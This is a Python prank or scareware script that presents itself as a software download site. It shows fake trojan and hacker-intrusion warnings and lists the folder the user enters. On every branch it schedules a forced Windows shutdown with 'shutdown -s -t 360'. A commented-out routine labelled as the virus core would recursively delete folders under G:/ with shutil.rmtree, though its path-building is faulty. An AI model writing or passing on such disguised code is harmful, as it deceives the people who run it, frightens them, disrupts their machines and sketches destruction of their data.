[python]代码库
import tkinter.messagebox
import os
import time
import shutil
root = tkinter.Tk()
root.withdraw()
print("""
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
欢迎来到软件下载站!
本站提示:目前全世界所有软件本站都有提供,从搜索引擎中搜索即可下载!
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
""")
time.sleep(3)
scan_web = input("搜索一下:")
def scan_func():
    os.system("cls")
    print("搜索中...")
    time.sleep(2)
if scan_web == "123":
    print("抱歉,目前暂此软件")
else:
    tkinter.messagebox.showwarning("软件搜索成功!","已找到该软件:"+scan_web)
print(""""
=============================
下载地址模板示范:G:\\\......
=============================
""")
ip_list = input("请输入下载地址:")
def Hack_zero():
    hack = 100
    if hack == 100:
        tkinter.messagebox.showerror("危险警告!","检测到软件该软件含有木马病毒!本平台正在保护您的计算机...")
    else:
        time.sleep(2)
Hack_zero()
tkinter.messagebox.showerror("危险警告!","木马病毒已突破您的计算机防御系统!")
def color_sys():
    os.system("color a")
    os.system("ping www.baidu.com")
    os.system("color 7")
color_sys()
def disk_list_scan():
    print("正在扫描磁盘目录...")
    DISK_list = os.listdir(ip_list)
    time.sleep(5)
    list_dir = len(DISK_list)
    time.sleep(5)
    print("磁盘目录文件个数:",list_dir,"个")
    print("""
    ************************
    已成功扫描到磁盘文件目录!
    ************************
    """,DISK_list)
    time.sleep(5)
disk_list_scan()
tkinter.messagebox.showerror("警告!","黑客正在盗取您磁盘中的数据资料...")
def error():
    try:
        a01 = input("是否防御黑客攻击?{y/n}:")
        if a01 == 'y':
            os.system("cls")
            os.system("color a")
            os.system("dir/s")
            os.system("tree")
            os.system("color 7")
            tkinter.messagebox.showwarning("奔溃!","计算机已奔溃!")
            os.system("shutdown -s -t 360")
        else:
            os.system("cls")
            os.system("color a")
            os.system("dir/s")
            os.system("tree")
            os.system("color 7")
            tkinter.messagebox.showwarning("奔溃!","计算机已奔溃!")
            os.system("shutdown -s -t 360")
            
    except:
        os.system("cls")
        os.system("color a")
        os.system("dir/s")
        os.system("tree")
        os.system("color 7")
        tkinter.messagebox.showwarning("奔溃!","计算机已奔溃!")
        os.system("shutdown -s -t 360")
error()
"""病毒核心主程序!"""
#list_disks = os.listdir(ip_list)
#len_disk = len(list_disks)
#while len_disk != 0:
#    len_disk -= 1
#    removes = 'G:/' +str(ip_list[len_disk])
#    shutil.rmtree(removes)
print("软件正在下载...")
time.sleep(99999)